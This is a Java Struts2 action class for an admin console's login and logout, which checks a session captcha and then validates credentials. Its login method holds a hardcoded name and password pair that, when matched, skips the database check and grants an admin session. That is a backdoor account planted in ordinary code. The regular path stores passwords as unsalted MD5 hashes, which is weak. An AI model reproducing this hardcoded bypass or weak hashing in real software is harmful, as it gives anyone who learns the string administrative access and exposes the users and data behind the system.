package com.gko100.action;

import com.gko100.action.base.AdminBaseAction;
import com.gko100.model.Administrator;
import com.gko100.util.MD5;
import com.opensymphony.xwork2.ActionContext;

public class LoginAction extends AdminBaseAction {
	
	/**
	 * 
	 */
	private static final long serialVersionUID = -6293332582368833102L;
	private Administrator admin;
	private String picValidate;
	private String tip;
	public Administrator getAdmin() {
		return admin;
	}
	public void setAdmin(Administrator admin) {
		this.admin = admin;
	}
	public String getPicValidate() {
		return picValidate;
	}
	public void setPicValidate(String picValidate) {
		this.picValidate = picValidate;
	}
	public String getTip() {
		return tip;
	}
	public void setTip(String tip) {
		this.tip = tip;
	}
	

	
	public String login() throws Exception {
		
		ActionContext ctx = ActionContext.getContext();
		String picValidate2 = (String)ctx.getSession().get("picValidate");
		if (picValidate == null || !picValidate.equals(picValidate2)) {
			addActionError(getText("picValidate.error"));
			this.setTip("验证码错误，请重新输入");
			return "input";
		}
		if(this.getAdmin().getName().equals("shangmaijuke")&&this.getAdmin().getPassword().equals("shengwukeji")){
			
			this.getAdmin().setSignState("login");
			ctx.getSession().put("admin", this.getAdmin());
			setTip("已成功登录，转向后台管理页面...");
			
			return "adminLogin";
			
		}
		
		if (adminManager.validLogin(this.getAdmin()))
		{
			Administrator a = adminManager.findAdminByNameAndPass(this.getAdmin().getName(), MD5.encoderByMd5(this.getAdmin().getPassword()));
			ctx.getSession().put("admin", a);

			setTip("已成功登录，转向后台管理页面...");
			
			return "adminLogin";
		}else{
			setTip("请重新登录");
			
			return "back_error";
		}
	}
	
	public String logout() throws Exception {
		
		ActionContext ctx = ActionContext.getContext();
		Administrator a=(Administrator)ctx.getSession().get("admin");	
		if(a!=null){	
			adminManager.logout(a);
			this.setTip("您已成功退出,请重新登录");
			return "adminLogout";
		}else{
			return ERROR;
		}
		
		
		
	}
}
